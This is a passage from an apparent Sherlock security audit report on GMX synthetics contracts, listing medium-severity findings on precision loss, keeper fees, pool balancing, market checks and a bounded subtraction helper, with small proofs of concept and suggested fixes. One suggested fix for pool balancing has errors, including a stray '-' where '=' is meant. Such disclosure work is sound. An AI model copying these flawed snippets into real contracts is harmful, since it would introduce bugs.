                valuePerSlot = valuePerSlot | bitValue;
            }
            compactedValues[i] = valuePerSlot;
            if(stopLoop){
                break;
            }
        }
        return compactedValues;
    }
}
```

6. execute `forge test --fork-url="http://127.0.0.1:8545"  -v -m "testCreateDepositAndCancel"`

Tool used

VS Code, foundry

Recommendation

Add a buffer of gas that needs to be supplied to the execute function to make sure the `try` statement will not revert because of out of gas.

Issue M-34: Multiplication after Division error leading to larger precision loss

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/113

Found by

IIIIIII, joestakey, chaduke, Breeje, stopthecap

Summary

There are couple of instance of using result of a division for multiplication while can cause larger precision loss.

Vulnerability Detail

```
File: MarketUtils.sol

    cache.fundingUsd = (cache.sizeOfLargerSide / Precision.FLOAT_PRECISION) * cache.durationInSeconds * cache.fundingFactorPerSecond;

    if (result.longsPayShorts) {
          cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithLongCollateral / cache.oi.longOpenInterest;
          cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.longOpenInterestWithShortCollateral / cache.oi.longOpenInterest;
      } else {
          cache.fundingUsdForLongCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithLongCollateral / cache.oi.shortOpenInterest;
          cache.fundingUsdForShortCollateral = cache.fundingUsd * cache.oi.shortOpenInterestWithShortCollateral / cache.oi.shortOpenInterest;
      }
```

Link to Code

In above case, value of `cache.fundingUsd` is calculated by first dividing `cache.sizeOfLargerSide` with `Precision.FLOAT_PRECISION` which is `10**30`. Then the resultant is multiplied further. This result in larger Loss of precision.

Later the same `cache.fundingUsd` is used to calculate `cache.fundingUsdForLongCollateral` and `cache.fundingUsdForShortCollateral` by multiplying further which makes the precision error even more big.

Same issue is there in calculating `cache.positionPnlUsd` in `PositionUtils`.

```
File: PositionUtils.sol

    if (position.isLong()) {
            cache.sizeDeltaInTokens =
↪   Calc.roundUpDivision(position.sizeInTokens() * sizeDeltaUsd,
↪   position.sizeInUsd());
        } else {
            cache.sizeDeltaInTokens = position.sizeInTokens() * sizeDeltaUsd /
↪   position.sizeInUsd();
        }
    }

    cache.positionPnlUsd = cache.totalPositionPnl *
↪   cache.sizeDeltaInTokens.toInt256() / position.sizeInTokens().toInt256();
```

Link to Code

Impact

Precision Loss in accounting.

Code Snippet

Given above.

Tool used

Manual Review

Recommendation

First Multiply all the numerators and then divide it by the product of all the denominator.

Discussion

xvi10

it is calculated in this way to reduce the risk of the multiplication causing an overflow

IllIllI000

@xvi10 you can use unchecked blocks to avoid phantom overflows:

```
pragma solidity 0.8.17;

import "forge-std/Test.sol";

contract It is Test {
  function testItOk() external pure returns (uint256) {
    uint256 v1 = type(uint256).max;
    uint256 result;
    unchecked {
      result = (3 * v1 * v1) / (v1 * v1);
    }
    return result;
  }

    function testItBroken() external pure returns (uint256) {
    uint256 v1 = type(uint256).max;
    uint256 result;
    result = (3 * v1 * v1) / (v1 * v1);
    return result;
  }
}
```

```
$ forge test -vvvv
[] Compiling...
No files changed, compilation skipped

Running 2 tests for src/T.sol:It
[FAIL. Reason: Arithmetic over/underflow] testItBroken():(uint256) (gas: 270)
Traces:
  [270] It::testItBroken()
     ← "Arithmetic over/underflow"

[PASS] testItOk():(uint256) (gas: 148)
Traces:
  [148] It::testItOk()
     ← 3

Test result: FAILED. 1 passed; 1 failed; finished in 650.57µs

Failing tests:
Encountered 1 failing test in src/T.sol:It
[FAIL. Reason: Arithmetic over/underflow] testItBroken():(uint256) (gas: 270)

Encountered a total of 1 failing tests, 1 tests succeeded
```

xvi10

i see, ok we can look into it

Issue M-35: when execute deposit fails, cancel deposit will be called which means that execution fee for keeper will be little for executing the cancellation depending on where the executeDeposit fails

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/89

Found by

koxuan

Summary

When execute deposit fails, the deposit will be automatically cancelled. However, since executeDeposit has taken up a portion of the execution fee, execution fee left for cancellation might be little and keeper will lose out on execution fee.

Vulnerability Detail

In `executeDeposit` when an error is thrown, `_handleDepositError` is called.

```
_handleDepositError(
    key,
    startingGas,
    reasonBytes
);
```

Notice that in `_handleDepositError` that `cancelDeposit` is called which will pay execution fee to the keeper. However, since the failure can have failed at the late stage of executeDeposit, the execution fee left for the cancellation will be little for the keeper.

```
    function _handleDepositError(
        bytes32 key,
        uint256 startingGas,
        bytes memory reasonBytes
    ) internal {
        (string memory reason, /* bool hasRevertMessage */) =
↪   ErrorUtils.getRevertMessage(reasonBytes);


        bytes4 errorSelector = ErrorUtils.getErrorSelectorFromData(reasonBytes);

```

```
            if (OracleUtils.isEmptyPriceError(errorSelector)) {
                ErrorUtils.revertWithCustomError(reasonBytes);
            }


            DepositUtils.cancelDeposit(
                dataStore,
                eventEmitter,
                depositVault,
                key,
                msg.sender,
                startingGas,
                reason,
                reasonBytes
            );
        }
    }
```

Note: This also applies to failed `executeWithdrawal`.

Impact

Keeper will lose out on execution fee in the event of a failed deposit.

Code Snippet

DepositHandler.sol#L109-L113 DepositHandler.sol#L181-L205

Tool used

Manual Review

Recommendation

Recommend increasing the minimum required execution fee to account for failed deposit and refund the excess to the user when a deposit succeeds.

Issue M-36: `getAdjustedLongAndShortTokenAmounts()` Incorrectly Calculates Amounts

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/72

Found by

kirk-baird, IIIIIII, koxuan

Summary

The function `getAdjustedLongAndShortTokenAmounts()` attempts to balance the long and short pool amounts for a market which has the same long and short token. However, the calculations are incorrect and may result in an unbalanced pool or a reverted transaction.

Vulnerability Detail

There are two equivalent bugs which occur depending on which pool is larger (long vs short). The bug occurs due to incorrect values being used in the if-statements.

The first issue is occurs on line 395 where the `diff` is compared to `poolLongTokenAmount`. This is the incorrect value, instead `longTokenAmount` should be used.

For the case where `diff < poolLongTokenAmount`

- if `longTokenAmount < diff` it will overflow on line 396
- if `longTokenAmount >= diff` this case behaves correctly For the case where `diff >= poolLongTokenAmount`
- if `longTokenAmount >= diff` the result is an unbalanced pool since we are attributing too many tokens to the long amount.
- if `longTokenAmount < diff` this case behaves correctly

The same issue occurs on line 404 for the case when there is a deficit in short tokens.

Impact

There are two different negative impacts stated in the above depending on the conditions. The first is an overflow that will cause the transaction to revert.

The second impact is more severe as it will cause an unbalanced pool to be created. The impact is the deposit will have a significant price impact. The most noticable case is the initial deposit. The first deposit will will have `diff = 0` and `poolShortTokenAMount = poolLongTokenAmount = 0`. The impact is line 408-409 is executed which attributes all funds to the short pool and none to the long pool.

Code Snippet

Function `getAdjustedLongAndShortTokenAmounts()`
https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L381-L414

First occurence of the bug. https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L395

Second occurrence of the bug. https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol#L404

Tool used

Manual Review

Recommendation

The aim of the function is to reduce the difference between the `poolLongTokenAmount` and `poolShortTokenAmount`. We have `longTokenAmount` as the amount of funds contributed by the user. Therefore the correct solution should be to use `longTokenAmount` in the mentioned if statements.

```
if (poolLongTokenAmount < poolShortTokenAmount) {
    uint256 diff = poolLongTokenAmount - poolShortTokenAmount;


    if (diff < longTokenAmount) { //@audit fix
        adjustedLongTokenAmount = diff + (longTokenAmount - diff) / 2;
        adjustedShortTokenAmount = longTokenAmount - adjustedLongTokenAmount;
    } else {
        adjustedLongTokenAmount = longTokenAmount;
    }
} else {
    uint256 diff = poolShortTokenAmount - poolLongTokenAmount;


    if (diff < longTokenAmount) { //@audit fix
        adjustedShortTokenAmount = diff + (longTokenAmount - diff) / 2;
        adjustedLongTokenAmount - longTokenAmount - adjustedShortTokenAmount;
    } else {
        adjustedLongTokenAmount = 0;
        adjustedShortTokenAmount = longTokenAmount;
    }
}
```

Issue M-37: There is no market enabled validation in Swap and CreateAdl activities

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/33

Found by

IIIIIII, caventa

Summary

There is no market enabled validation in Swap and CreateAdl activities.

Vulnerability Detail

Controller may execute activities for disabled market in Swaphandler and CreateAdlHandler

Impact

Activities can still be performed on an disabled market

Code Snippet

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/swap/SwapUtils.sol#L98-L149 https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/swap/SwapUtils.sol#L158-L318 https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/adl/AdlUtils.sol#L125-L173

Tool used

Manual Review

Recommendation

Add the similar following code

```
Market.Props memory _market = MarketUtils.getEnabledMarket(dataStore, market);
```

to swap and createAdl

Issue M-38: boundedSub() might fail to return the result that is bounded to prevent overflows

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/16

Found by

chaduke

Summary

The goal of boundedSub() is to bound the result regardless what the inputs are to prevent overflows/underflows. However, the goal is not achieved for some cases. As a result, `boundedSub()` still might underflow and still might revert. The goal of the function is not achieved.

As a result, the protocol might not be fault-tolerant as it is supposed to be - when `boundedSub()` is designed to not revert in any case, it still might revert. For example, function `MarketUtils.getNextFundingAmountPerSize()` will be affected.

Vulnerability Detail

`boundedSub()` is designed to always bound its result between `type(int256).min` and `type(int256).max` so that it will never overflow/underflow:

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/utils/Calc.sol#L116-L135

It achieves its goal in three cases:

1) Case 1: `if either a or b is zero or the signs are the same there should not be any overflow.`
2) Case 2: `a > 0`, and `b < 0`, and `a-b > type(int256).max`, then we need to return `type(int256).max`.
3) Case 3: `a < 0`, and `b > 0`, and `a - b <  type(int256).min`, then we need to return `type(int256).min`

Unfortunately, the third case is implemented wrongly as follows:

which essentially is checking `a < 0 && b + a <= type(int256).min`, a wrong condition to check. Because of using this wrong condition, underflow cases will not be detected and the function will revert instead of returning `type(int256).min` in this case.

To verify, suppose a = `type(int256).min` and b = 1, `a-b` needs to be bounded to prevent underflow and the function should have returned `type(int256).min`.

However, the function will fail the condition, as a result, it will not execute the if part, and the following final line will be executed instead:

```
return a - b;
```

As a result, instead of returning the minimum, the function will revert in the last line due to underflow. This violates the property of the function: it should have returned the bounded result `type(int256).min` and should not have reverted in any case.

The following POC in Remix can show that the following function will revert:

```
function testBoundedSub() public pure returns (int256){
              return boundedSub(type(int256).min+3, 4);
}
```

Impact

`boundedSub()` does not guarantee underflow/overflow free as it is designed to be. As a result, the protocol might break at points when it is not supposed to break. For example, function `MarketUtils.getNextFundingAmountPerSize()` will be affected.

Code Snippet

Tool used

VsCode

Manual Review

Recommendation

The correction is as follows:

```
 function boundedSub(int256 a, int256 b) internal pure returns (int256) {
        // if either a or b is zero or the signs are the same there should not
↪   be any overflow
        if (a == 0 || b == 0 || (a > 0 && b > 0) || (a < 0 && b < 0)) {
            return a - b;
        }

        // if adding `-b` to `a` would result in a value greater than the max
↪   int256 value
        // then return the max int256 value
        if (a > 0 && -b >= type(int256).max - a) {
            return type(int256).max;
        }
        // if subtracting `b` from `a` would result in a value less than the min
↪   int256 value
        // then return the min int256 value
-        if (a < 0 && b <= type(int256).min - a) {
+        if (a < 0 && a <= type(int256).min + b) {
            return type(int256).min;
        }

        return a - b;
    }
```